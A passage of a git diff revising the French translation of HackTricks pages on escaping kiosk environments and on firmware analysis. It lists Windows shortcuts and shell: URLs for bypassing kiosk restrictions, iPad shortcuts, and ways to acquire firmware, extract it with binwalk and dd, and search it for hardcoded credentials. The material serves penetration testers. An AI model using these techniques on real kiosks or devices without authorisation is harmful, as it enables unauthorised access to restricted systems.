touche droite SHIFT enfoncée pendant 12 secondes * WINDOWS+F1 – Recherche Windows -* WINDOWS+D – Afficher le Bureau -* WINDOWS+E – Lancer l'Explorateur Windows +* WINDOWS+D – Afficher le bureau +* WINDOWS+E – Lancer l'explorateur Windows * WINDOWS+R – Exécuter -* WINDOWS+U – Centre d'Accessibilité +* WINDOWS+U – Centre d'accessibilité * WINDOWS+F – Recherche -* SHIFT+F10 – Menu Contextuel -* CTRL+SHIFT+ESC – Gestionnaire de Tâches -* CTRL+ALT+SUPPR – Écran de démarrage sur les nouvelles versions de Windows +* SHIFT+F10 – Menu contextuel +* CTRL+SHIFT+ESC – Gestionnaire des tâches +* CTRL+ALT+DEL – Écran de démarrage sur les nouvelles versions de Windows * F1 – Aide F3 – Recherche -* F6 – Barre d'Adresse +* F6 – Barre d'adresse * F11 – Basculer en plein écran dans Internet Explorer * CTRL+H – Historique Internet Explorer -* CTRL+T – Internet Explorer – Nouvel Onglet -* CTRL+N – Internet Explorer – Nouvelle Page -* CTRL+O – Ouvrir Fichier +* CTRL+T – Internet Explorer – Nouvel onglet +* CTRL+N – Internet Explorer – Nouvelle page +* CTRL+O – Ouvrir un fichier * CTRL+S – Enregistrer CTRL+N – Nouveau RDP / Citrix -## Balayages +## Gestes -* Balayez de la gauche vers la droite pour voir toutes les fenêtres ouvertes, minimisant l'application KIOSK et accédant directement à tout le système d'exploitation ; -* Balayez de la droite vers la gauche pour ouvrir le Centre d'Action, minimisant l'application KIOSK et accédant directement à tout le système d'exploitation ; -* Balayez du haut vers le bas pour rendre la barre de titre visible pour une application ouverte en mode plein écran ; -* Balayez du bas vers le haut pour afficher la barre des tâches dans une application en plein écran. +* Faites glisser du côté gauche vers la droite pour voir toutes les fenêtres ouvertes, minimisant l'application KIOSK et accédant directement à l'ensemble du système d'exploitation ; +* Faites glisser du côté droit vers la gauche pour ouvrir le Centre d'action, minimisant l'application KIOSK et accédant directement à l'ensemble du système d'exploitation ; +* Faites glisser depuis le bord supérieur pour rendre la barre de titre visible pour une application ouverte en mode plein écran ; +* Faites glisser vers le haut depuis le bas pour afficher la barre des tâches dans une application en plein écran. ## Astuces Internet Explorer -### 'Barre d'outils Image' +### 'Barre d'images' -C'est une barre d'outils qui apparaît en haut à gauche de l'image lorsqu'elle est cliquée. Vous pourrez Enregistrer, Imprimer, Mailto, Ouvrir "Mes Images" dans l'Explorateur. Le Kiosque doit utiliser Internet Explorer. +C'est une barre d'outils qui apparaît en haut à gauche de l'image lorsqu'elle est cliquée. Vous pourrez Enregistrer, Imprimer, Envoyer par e-mail, Ouvrir "Mes images" dans l'Explorateur. Le Kiosque doit utiliser Internet Explorer. ### Protocole Shell -Tapez ces URL pour obtenir une vue Explorateur : +Tapez ces URL pour obtenir une vue de l'Explorateur : -* `shell:Outils d'administration` +* `shell:Outils administratifs` * `shell:Bibliothèque de documents` * `shell:Bibliothèques` -* `shell:Profils d'utilisateur` +* `shell:ProfilsUtilisateurs` * `shell:Personnel` -* `shell:Dossier de recherche` -* `shell:Dossier de lieux réseau` -* `shell:Envoyer à` -* `shell:Profils d'utilisateur` -* `shell:Outils d'administration communs` -* `shell:Dossier Mon Ordinateur` -* `shell:Dossier Internet` +* `shell:DossierRechercheAccueil` +* `shell:Réseau` +* `shell:EnvoyerVers` +* `shell:ProfilsUtilisateurs` +* `shell:Outils administratifs communs` +* `shell:PosteTravail` +* `shell:DossierInternet` * `Shell:Profil` * `Shell:ProgramFiles` -* `Shell:Système` -* `Shell:Dossier du Panneau de Contrôle` +* `Shell:System` +* `Shell:DossierPanneauConfiguration` * `Shell:Windows` -* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Panneau de Contrôle -* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Mon Ordinateur -* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Mes Lieux Réseau +* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Panneau de configuration +* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Poste de travail +* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Mes lieux réseau * `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer -# Astuces pour navigateurs +## Afficher les extensions de fichier -Versions de sauvegarde iKat : +Consultez cette page pour plus d'informations : [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml) + +# Astuces des navigateurs + +Sauvegardez les versions iKat : [http://swin.es/k/](http://swin.es/k/)\ [http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\ -Créez un dialogue commun en utilisant JavaScript et accédez à l'explorateur de fichiers : `document.write('')` +Créez une boîte de dialogue commune en utilisant JavaScript et accédez à l'explorateur de fichiers : `document.write('')` Source : https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811defa0 # iPad -## Gestes et fonds +## Gestes et boutons -### Balayez vers le haut avec quatre (ou cinq) doigts / Double-tapez sur le bouton Home +* Faites glisser vers le haut avec quatre (ou cinq) doigts / Double-tapez sur le bouton Accueil : Pour afficher la vue multitâche et changer d'application -Pour voir la vue multitâche et changer d'application +* Faites glisser d'un côté ou de l'autre avec quatre ou cinq doigts : Pour changer vers l'application suivante/précédente -### Balayez d'un côté ou de l'autre avec quatre ou cinq doigts +* Pincez l'écran avec cinq doigts / Touchez le bouton Accueil / Faites glisser vers le haut avec 1 doigt depuis le bas de l'écran en un mouvement rapide vers le haut : Pour accéder à l'Accueil -Pour passer à l'application suivante/précédente +* Faites glisser un doigt depuis le bas de l'écran juste à 1-2 pouces (lentement) : Le dock apparaîtra -### Pincez l'écran avec cinq doigts / Touchez le bouton Home / Balayez vers le haut avec 1 doigt depuis le bas de l'écran dans un mouvement rapide vers le haut +* Faites glisser vers le bas depuis le haut de l'écran avec 1 doigt : Pour afficher vos notifications -Pour accéder à l'accueil +* Faites glisser vers le bas avec 1 doigt dans le coin supérieur droit de l'écran : Pour voir le centre de contrôle de l'iPad Pro -### Balayez un doigt depuis le bas de l'écran juste 1-2 pouces (lentement) +* Faites glisser 1 doigt depuis la gauche de l'écran sur 1-2 pouces : Pour voir la vue Aujourd'hui -Le dock apparaîtra +* Faites glisser rapidement 1 doigt depuis le centre de l'écran vers la droite ou la gauche : Pour changer vers l'application suivante/précédente -### Balayez vers le bas depuis le haut de l'écran avec 1 doigt +* Maintenez enfoncé le bouton Marche/Arrêt en haut à droite de l'iPad + Déplacez le curseur Éteindre tout à droite : Pour éteindre -Pour voir vos notifications +* Appuyez sur le bouton Marche/Arrêt en haut à droite de l'iPad et le bouton Accueil pendant quelques secondes : Pour forcer un arrêt complet -### Balayez vers le bas avec 1 doigt le coin supérieur droit de l'écran - -Pour voir le centre de contrôle de l'iPad Pro - -### Balayez 1 doigt depuis la gauche de l'écran 1-2 pouces - -Pour voir la vue Aujourd'hui - -### Balayez rapidement 1 doigt depuis le centre de l'écran vers la droite ou la gauche - -Pour changer à l'application suivante/précédente - -### Appuyez et maintenez le bouton On/**Off**/Veille en haut à droite de l'**iPad +** Déplacez le curseur Éteindre vers la droite, - -Pour éteindre - -### Appuyez sur le bouton On/**Off**/Veille en haut à droite de l'**iPad et le bouton Home pendant quelques secondes** - -Pour forcer un arrêt complet - -### Appuyez sur le bouton On/**Off**/Veille en haut à droite de l'**iPad et le bouton Home rapidement** - -Pour prendre une capture d'écran qui apparaîtra dans le coin inférieur gauche de l'écran. Appuyez sur les deux boutons en même temps très brièvement car si vous les maintenez quelques secondes, un arrêt complet sera effectué. +* Appuyez sur le bouton Marche/Arrêt en haut à droite de l'iPad et le bouton Accueil rapidement : Pour prendre une capture d'écran qui apparaîtra en bas à gauche de l'écran. Appuyez brièvement sur les deux boutons en même temps, car si vous les maintenez enfoncés quelques secondes, un arrêt complet sera effectué. ## Raccourcis Vous devriez avoir un clavier iPad ou un adaptateur de clavier USB. Seuls les raccourcis qui pourraient aider à s'échapper de l'application seront montrés ici. -| Touche | Nom | -| ------ | ------------- | -| ⌘ | Commande | -| ⌥ | Option (Alt) | -| ⇧ | Majuscule | -| ↩ | Retour | -| ⇥ | Tabulation | -| ^ | Contrôle | -| ← | Flèche Gauche | -| → | Flèche Droite | -| ↑ | Flèche Haut | -| ↓ | Flèche Bas | +| Touche | Nom | +| --- | ------------ | +| ⌘ | Commande | +| ⌥ | Option (Alt) | +| ⇧ | Majuscule | +| ↩ | Retour | +| ⇥ | Tabulation | +| ^ | Contrôle | +| ← | Flèche gauche | +| → | Flèche droite | +| ↑ | Flèche vers le haut | +| ↓ | Flèche vers le bas | ### Raccourcis système Ces raccourcis sont pour les paramètres visuels et sonores, en fonction de l'utilisation de l'iPad. | Raccourci | Action | -| --------- | ------------------------------------------------------------------------------ | -| F1 | Assombrir l'écran | -| F2 | Éclaircir l'écran | -| F7 | Revenir une chanson en arrière | -| F8 | Lecture/pause | -| F9 | Passer la chanson | -| F10 | Muet | -| F11 | Diminuer le volume | -| F12 | Augmenter le volume | -| ⌘ Espace | Afficher une liste de langues disponibles ; pour en choisir une, appuyez à nouveau sur la barre d'espace. | +| -------- | ------------------------------------------------------------------------------ | +| F1 | Diminuer la luminosité de l'écran | +| F2 | Augmenter la luminosité de l'écran | +| F7 | Revenir en arrière d'une chanson | +| F8 | Lecture/pause | +| F9 | Passer à la chanson suivante | +| F10 | Muet | +| F11 | Diminuer le volume | +| F12 | Augmenter le volume | +| ⌘ Espace | Afficher une liste des langues disponibles ; pour en choisir une, appuyez à nouveau sur la barre d'espace. | ### Navigation iPad -| Raccourci | Action | -| ------------------------------------------------- | ------------------------------------------------------- | -| ⌘H | Aller à l'accueil | -| ⌘⇧H (Commande-Majuscule-H) | Aller à l'accueil | -| ⌘ (Espace) | Ouvrir Spotlight | -| ⌘⇥ (Commande-Tabulation) | Lister les dix dernières applications utilisées | -| ⌘\~ | Aller à la dernière application | -| ⌘⇧3 (Commande-Majuscule-3) | Capture d'écran (flotte en bas à gauche pour sauvegarder ou agir dessus) | -| ⌘⇧4 | Capture d'écran et l'ouvrir dans l'éditeur | -| Maintenir appuyé ⌘ | Liste des raccourcis disponibles pour l'application | -| ⌘⌥D (Commande-Option/Alt-D) | Faire apparaître le dock | -| ^⌥H (Contrôle-Option-H) | Bouton d'accueil | -| ^⌥H H (Contrôle-Option-H-H) | Afficher la barre multitâche | -| ^⌥I (Contrôle-Option-i) | Choix de l'élément | -| Échapper | Bouton de retour | -| → (Flèche droite) | Élément suivant | -| ← (Flèche gauche) | Élément précédent | -| ↑↓ (Flèche haut, Flèche bas) | Appuyer simultanément sur l'élément sélectionné | -| ⌥ ↓ (Option-Flèche bas) | Faire défiler vers le bas | -| ⌥↑ (Option-Flèche haut) | Faire défiler vers le haut | -| ⌥← ou ⌥→ (Option-Flèche gauche ou Option-Flèche droite) | Faire défiler vers la gauche ou la droite | -| ^⌥S (Contrôle-Option-S) | Activer ou désactiver la parole de VoiceOver | -| ⌘⇧⇥ (Commande-Majuscule-Tabulation) | Passer à l'application précédente | -| ⌘⇥ (Commande-Tabulation) | Revenir à l'application d'origine | -| ←+→, puis Option + ← ou Option+→ | Naviguer dans le Dock | - -### Raccourcis Safari - -| Raccourci | Action | -| ---------------------- | ------------------------------------------------ | -| ⌘L (Commande-L) | Ouvrir l'emplacement | -| ⌘T | Ouvrir un nouvel onglet | -| ⌘W | Fermer l'onglet actuel | -| ⌘R | Rafraîchir l'onglet actuel | -| +| Raccourci | Action | +| -------------------------------------------------- | ------------------------------------------------------- | +| ⌘H | Aller à l'Accueil | +| ⌘⇧H (Commande-Majuscule-H) | Aller à l'Accueil | +| ⌘ (Espace) | Ouvrir Spotlight | +| ⌘⇥ (Commande-Tabulation) | Liste des dix dernières applications utilisées | +| ⌘\~ | Aller à la dernière application | +| ⌘⇧3 (Commande-Majuscule-3) | Capture d'écran (apparaît en bas à gauche pour enregistrer ou agir dessus) | +| ⌘⇧4 | Capture d'écran et ouverture dans l'éditeur | +| Maintenir enfoncé ⌘ | Liste des raccourcis disponibles pour l'application | +| ⌘⌥D (Commande-Option/Alt-D) | Fait apparaître le dock | +| ^⌥H (Contrôle-Option-H) | Bouton Accueil | +| ^⌥H H (Contrôle-Option-H-H) | Afficher la barre de multitâche | +| ^⌥I (Contrôle-Option-i) | Sélecteur d'éléments | +| Échap | Bouton Retour | +| → (Flèche droite) | Élément suivant | +| ← (Flèche gauche) | Élément précédent | +| ↑↓ (Flèche vers le haut, Flèche vers le bas) | Appuyer simultanément sur l'élément sélectionné | +| ⌥ ↓ (Option-Flèche vers le bas) | Faire défiler vers le bas | +| ⌥↑ (Option-Flèche vers le haut) | Faire défiler vers le haut | +| ⌥← ou ⌥→ (Option-Flèche gauche ou Option-Flèche droite) | Faire défiler vers la gauche ou la droite | +| ^⌥S (Contrôle-Option-S) | Activer ou désactiver la synthèse vocale VoiceOver | +| ⌘⇧⇥ (Commande-Majuscule-Tabulation) | Passer à l'application précédente | +| ⌘⇥ (Commande-Tabulation) | Revenir à l'application d'origine | +| ←+→, puis Option diff --git a/physical-attacks/firmware-analysis/README.md b/physical-attacks/firmware-analysis/README.md index bb9103841..fe5ccaa8e 100644 --- a/physical-attacks/firmware-analysis/README.md +++ b/physical-attacks/firmware-analysis/README.md @@ -1,71 +1,57 @@ -# Analyse du Firmware +# Analyse du micrologiciel
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-## Introduction +## **Introduction** -Le firmware est un type de logiciel qui assure la communication et le contrôle des composants matériels d'un appareil. C'est le premier code exécuté par un appareil. Habituellement, il **démarre le système d'exploitation** et fournit des services d'exécution très spécifiques pour les programmes en **communiquant avec divers composants matériels**. La plupart, sinon tous, les appareils électroniques possèdent un firmware. +Le micrologiciel est un logiciel essentiel qui permet aux appareils de fonctionner correctement en gérant et en facilitant la communication entre les composants matériels et le logiciel avec lequel les utilisateurs interagissent. Il est stocké en mémoire permanente, garantissant que l'appareil peut accéder aux instructions vitales dès sa mise sous tension, ce qui conduit au lancement du système d'exploitation. Examiner et éventuellement modifier le micrologiciel est une étape critique pour identifier les vulnérabilités de sécurité. -Les appareils stockent le firmware dans une **mémoire non volatile**, telle que ROM, EPROM ou mémoire flash. +## **Collecte d'informations** -Il est important d'**examiner** le **firmware** puis de tenter de le **modifier**, car nous pouvons découvrir de nombreux problèmes de sécurité au cours de ce processus. +La **collecte d'informations** est une étape initiale critique pour comprendre la composition d'un appareil et les technologies qu'il utilise. Ce processus implique la collecte de données sur : -## **Collecte d'informations et reconnaissance** +- L'architecture du processeur et le système d'exploitation qu'il exécute +- Spécificités du chargeur d'amorçage +- Configuration matérielle et fiches techniques +- Métriques de la base de code et emplacements des sources +- Bibliothèques externes et types de licences +- Historiques de mises à jour et certifications réglementaires +- Diagrammes architecturaux et de flux +- Évaluations de sécurité et vulnérabilités identifiées -Pendant cette étape, collectez autant d'informations que possible sur la cible pour comprendre sa composition globale et la technologie sous-jacente. Essayez de rassembler les éléments suivants : +À cette fin, les outils de **renseignement en source ouverte (OSINT)** sont inestimables, tout comme l'analyse de tout composant logiciel en source ouverte disponible via des processus d'examen manuels et automatisés. Des outils comme [Coverity Scan](https://scan.coverity.com) et [LGTM de Semmle](https://lgtm.com/#explore) offrent une analyse statique gratuite qui peut être exploitée pour trouver des problèmes potentiels. -* Architectures de CPU prises en charge -* Plateforme du système d'exploitation -* Configurations du bootloader -* Schémas matériels -* Fiches techniques -* Estimations du nombre de lignes de code (LoC) -* Emplacement du dépôt de code source -* Composants tiers -* Licences open source (par exemple, GPL) -* Journaux de modifications -* Identifiants FCC -* Diagrammes de conception et de flux de données -* Modèles de menaces -* Rapports de pentesting antérieurs -* Tickets de suivi des bugs (par exemple, Jira et plateformes de bug bounty telles que BugCrowd ou HackerOne) +## **Acquisition du micrologiciel** -Lorsque c'est possible, acquérez des données en utilisant des outils et techniques d'intelligence open source (OSINT). Si un logiciel open source est utilisé, téléchargez le dépôt et effectuez une analyse statique manuelle ainsi qu'automatisée sur la base de code. Parfois, les projets de logiciels open source utilisent déjà des outils d'analyse statique gratuits fournis par des fournisseurs qui fournissent des résultats de scan tels que [Coverity Scan](https://scan.coverity.com) et [LGTM de Semmle](https://lgtm.com/#explore). +L'obtention du micrologiciel peut être abordée de diverses manières, chacune avec son propre niveau de complexité : -## Obtenir le Firmware +- **Directement** auprès de la source (développeurs, fabricants) +- **Le construire** à partir des instructions fournies +- **Télécharger** depuis les sites de support officiels +- Utiliser des requêtes **Google dork** pour trouver des fichiers de micrologiciel hébergés +- Accéder au **stockage cloud** directement, avec des outils comme [S3Scanner](https://github.com/sa7mon/S3Scanner) +- Intercepter les **mises à jour** via des techniques de l'homme du milieu +- **Extraire** du périphérique via des connexions comme **UART**, **JTAG** ou **PICit** +- **Sniffer** les demandes de mise à jour dans la communication de l'appareil +- Identifier et utiliser des **points de terminaison de mise à jour codés en dur** +- **Extraire** du chargeur d'amorçage ou du réseau +- **Retirer et lire** la puce de stockage, en dernier recours, en utilisant des outils matériels appropriés -Il existe différentes manières avec différents niveaux de difficulté pour télécharger le firmware +## Analyse du micrologiciel -* **Directement** de l'équipe de développement, du fabricant/vendeur ou du client -* **Construire à partir de zéro** en utilisant les tutoriels fournis par le fabricant -* Depuis le **site de support du vendeur** -* Requêtes **Google dork** ciblées vers les extensions de fichiers binaires et les plateformes de partage de fichiers telles que Dropbox, Box et Google Drive -* Il est courant de tomber sur des images de firmware par le biais de clients qui téléchargent du contenu sur des forums, des blogs ou commentent sur des sites où ils ont contacté le fabricant pour résoudre un problème et ont reçu le firmware via un zip ou une clé USB envoyée. -* Exemple : `intitle:"Netgear" intext:"Firmware Download"` -* Télécharger des builds depuis des emplacements de stockage de fournisseurs cloud exposés tels que les seaux Amazon Web Services (AWS) S3 (avec des outils tels que [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner)) -* **Intercepter** la communication de l'appareil pendant les **mises à jour** -* Extraire directement **du matériel** via **UART**, **JTAG**, **PICit**, etc. -* Sniffer la **communication série** au sein des composants matériels pour les **requêtes de serveur de mise à jour** -* Via un **point d'accès codé en dur** dans les applications mobiles ou épaisses -* **Dumping** du firmware depuis le **bootloader** (par exemple, U-boot) vers le stockage flash ou sur le **réseau** via **tftp** -* Retirer la **puce flash** (par exemple, SPI) ou le MCU de la carte pour une analyse hors ligne et une extraction de données (DERNIER RECOURS). -* Vous aurez besoin d'un programmeur de puce pris en charge pour le stockage flash et/ou le MCU. - -## Analyser le firmware - -Maintenant que vous **avez le firmware**, vous devez extraire des informations à son sujet pour savoir comment le traiter. Différents outils que vous pouvez utiliser pour cela : +Maintenant que vous **avez le micrologiciel**, vous devez extraire des informations à son sujet pour savoir comment le traiter. Différents outils que vous pouvez utiliser à cet effet : ```bash file strings -n8 @@ -74,9 +60,9 @@ hexdump -C -n 512 > hexdump.out hexdump -C | head # might find signatures in header fdisk -lu #lists a drives partition and filesystems if multiple ``` -Si vous ne trouvez pas grand-chose avec ces outils, vérifiez l'**entropie** de l'image avec `binwalk -E `. Si l'entropie est faible, il est peu probable qu'elle soit chiffrée. Si l'entropie est élevée, il est probable qu'elle soit chiffrée (ou compressée d'une certaine manière). +Si vous ne trouvez pas grand-chose avec ces outils, vérifiez l'**entropie** de l'image avec `binwalk -E `, si l'entropie est faible, il est peu probable qu'elle soit chiffrée. Si l'entropie est élevée, il est probable qu'elle soit chiffrée (ou compressée de quelque manière). -De plus, vous pouvez utiliser ces outils pour extraire **les fichiers intégrés dans le firmware** : +De plus, vous pouvez utiliser ces outils pour extraire des **fichiers intégrés dans le firmware**: {% content-ref url="../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md" %} [file-data-carving-recovery-tools.md](../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md) @@ -84,14 +70,14 @@ De plus, vous pouvez utiliser ces outils pour extraire **les fichiers intégrés Ou [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) pour inspecter le fichier. -### Obtenir le Système de Fichiers +### Obtenir le système de fichiers Avec les outils précédemment commentés comme `binwalk -ev `, vous devriez avoir pu **extraire le système de fichiers**.\ -Binwalk extrait généralement dans un **dossier nommé selon le type de système de fichiers**, qui est généralement l'un des suivants : squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs. +Binwalk l'extrait généralement dans un **dossier nommé comme le type de système de fichiers**, qui est généralement l'un des suivants : squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs. -#### Extraction Manuelle du Système de Fichiers +#### Extraction manuelle du système de fichiers -Parfois, binwalk **n'aura pas l'octet magique du système de fichiers dans ses signatures**. Dans ces cas, utilisez binwalk pour **trouver le décalage du système de fichiers et découper le système de fichiers compressé** du binaire et **extraire manuellement** le système de fichiers selon son type en utilisant les étapes ci-dessous. +Parfois, binwalk n'aura pas l'octet magique du système de fichiers dans ses signatures. Dans ces cas, utilisez binwalk pour **trouver l'offset du système de fichiers et découper le système de fichiers compressé** du binaire et **extraire manuellement** le système de fichiers selon son type en suivant les étapes ci-dessous. ``` $ binwalk DIR850L_REVB.bin @@ -113,8 +99,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs 8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s ``` -```markdown -Alternativement, la commande suivante peut également être exécutée. +Alternativement, la commande suivante pourrait également être exécutée. `$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs` @@ -124,7 +109,7 @@ Alternativement, la commande suivante peut également être exécutée. Les fichiers seront dans le répertoire "`squashfs-root`" par la suite. -* Pour les archives CPIO +* Fichiers d'archive CPIO `$ cpio -ivd --no-absolute-filenames -F ` @@ -138,209 +123,125 @@ Les fichiers seront dans le répertoire "`squashfs-root`" par la suite. `$ ubidump.py ` + +## Analyse du Firmware + +Une fois le firmware obtenu, il est essentiel de le disséquer pour comprendre sa structure et ses vulnérabilités potentielles. Ce processus implique l'utilisation de divers outils pour analyser et extraire des données précieuses de l'image du firmware. + +### Outils d'Analyse Initiale + +Un ensemble de commandes est fourni pour l'inspection initiale du fichier binaire (appelé ``). Ces commandes aident à identifier les types de fichiers, extraire des chaînes, analyser des données binaires et comprendre les détails des partitions et des systèmes de fichiers : +```bash +file +strings -n8 +strings -tx #prints offsets in hexadecimal +hexdump -C -n 512 > hexdump.out +hexdump -C | head #useful for finding signatures in the header +fdisk -lu #lists partitions and filesystems, if there are multiple +``` +Pour évaluer le statut de chiffrement de l'image, l'**entropie** est vérifiée avec `binwalk -E `. Une faible entropie suggère un manque de chiffrement, tandis qu'une entropie élevée indique un possible chiffrement ou compression. + +Pour extraire des **fichiers intégrés**, des outils et des ressources comme la documentation sur les **outils de récupération de données de découpe de fichiers** et **binvis.io** pour l'inspection des fichiers sont recommandés. + +### Extraction du système de fichiers + +En utilisant `binwalk -ev `, on peut généralement extraire le système de fichiers, souvent dans un répertoire nommé d'après le type de système de fichiers (par exemple, squashfs, ubifs). Cependant, lorsque **binwalk** échoue à reconnaître le type de système de fichiers en raison de l'absence d'octets magiques, une extraction manuelle est nécessaire. Cela implique d'utiliser `binwalk` pour localiser le décalage du système de fichiers, suivi de la commande `dd` pour découper le système de fichiers: +```bash +$ binwalk DIR850L_REVB.bin + +$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs +``` ### Analyse du système de fichiers -Maintenant que vous avez le système de fichiers, il est temps de commencer à chercher des mauvaises pratiques telles que : +Une fois le système de fichiers extrait, la recherche de failles de sécurité commence. Une attention particulière est portée aux démons réseau non sécurisés, aux identifiants codés en dur, aux points d'API, aux fonctionnalités de serveur de mise à jour, au code non compilé, aux scripts de démarrage et aux binaires compilés pour une analyse hors ligne. -* Les **daemons réseau non sécurisés** tels que telnetd (parfois les fabricants renomment les binaires pour les dissimuler) -* Les **identifiants codés en dur** (noms d'utilisateur, mots de passe, clés API, clés SSH et variantes de backdoor) -* Les **points de terminaison API codés en dur** et les détails du serveur backend -* La **fonctionnalité de serveur de mise à jour** qui pourrait être utilisée comme point d'entrée -* **Examiner le code non compilé et les scripts de démarrage** pour l'exécution de code à distance -* **Extraire les binaires compilés** pour une analyse hors ligne avec un désassembleur pour les étapes futures +Les **emplacements clés** et les **éléments** à inspecter comprennent : -Quelques **éléments intéressants à rechercher** dans le firmware : +- **etc/shadow** et **etc/passwd** pour les identifiants d'utilisateur +- Certificats SSL et clés dans **etc/ssl** +- Fichiers de configuration et de script pour des vulnérabilités potentielles +- Binaires intégrés pour une analyse plus approfondie +- Serveurs web d'appareils IoT courants et binaires -* etc/shadow et etc/passwd -* lister le répertoire etc/ssl -* rechercher des fichiers liés à SSL tels que .pem, .crt, etc. -* rechercher des fichiers de configuration -* chercher des fichiers de script -* rechercher d'autres fichiers .bin -* chercher des mots-clés tels que admin, password, remote, clés AWS, etc. -* rechercher des serveurs web courants utilisés sur les appareils IoT -* rechercher des binaires courants tels que ssh, tftp, dropbear, etc. -* rechercher des fonctions interdites en C -* rechercher des fonctions vulnérables à l'injection de commandes -* rechercher des URL, des adresses e-mail et des adresses IP -* et plus encore… +Plusieurs outils aident à découvrir des informations sensibles et des vulnérabilités dans le système de fichiers : -Des outils qui recherchent ce type d'informations (même si vous devriez toujours jeter un œil manuel et vous familiariser avec la structure du système de fichiers, les outils peuvent vous aider à trouver des **choses cachées**) : +- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) et [**Firmwalker**](https://github.com/craigz28/firmwalker) pour la recherche d'informations sensibles +- [**L'outil d'analyse et de comparaison de firmware (FACT)**](https://github.com/fkie-cad/FACT\_core) pour une analyse complète du firmware +- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) et [**EMBA**](https://github.com/e-m-b-a/emba) pour une analyse statique et dynamique -* [**LinPEAS**](https://github.com/carlospolop/PEASS-ng)** :** Un script bash impressionnant qui dans ce cas est utile pour rechercher des **informations sensibles** à l'intérieur du système de fichiers. Il suffit de **chroot à l'intérieur du système de fichiers du firmware et de l'exécuter**. -* [**Firmwalker**](https://github.com/craigz28/firmwalker)** :** Script bash pour rechercher des informations sensibles potentielles -* [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) : -* Identification des composants logiciels tels que le système d'exploitation, l'architecture CPU et les composants tiers avec leurs informations de version associées -* Extraction du (des) système(s) de fichiers du firmware à partir d'images -* Détection de certificats et de clés privées -* Détection de mises en œuvre faibles mappées à l'Enumeration des Faiblesses Communes (CWE) -* Détection de vulnérabilités basée sur des flux et des signatures -* Analyse comportementale statique de base -* Comparaison (diff) des versions de firmware et des fichiers -* Émulation en mode utilisateur des binaires du système de fichiers en utilisant QEMU -* Détection de mesures d'atténuation binaires telles que NX, DEP, ASLR, canaris de pile, RELRO et FORTIFY_SOURCE -* API REST -* et plus encore... -* [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer) : FwAnalyzer est un outil pour analyser des images de systèmes de fichiers (ext2/3/4), FAT/VFat, SquashFS, UBIFS, des archives cpio et le contenu des répertoires en utilisant un ensemble de règles configurables. -* [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep) : Un outil d'analyse de sécurité du firmware IoT en logiciel libre -* [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) : Il s'agit d'une réécriture complète du projet original ByteSweep en Go. -* [**EMBA**](https://github.com/e-m-b-a/emba) : _EMBA_ est conçu comme l'outil central d'analyse du firmware pour les pentesters. Il prend en charge l'ensemble du processus d'analyse de la sécurité, en commençant par le processus d'_extraction du firmware_, en effectuant une _analyse 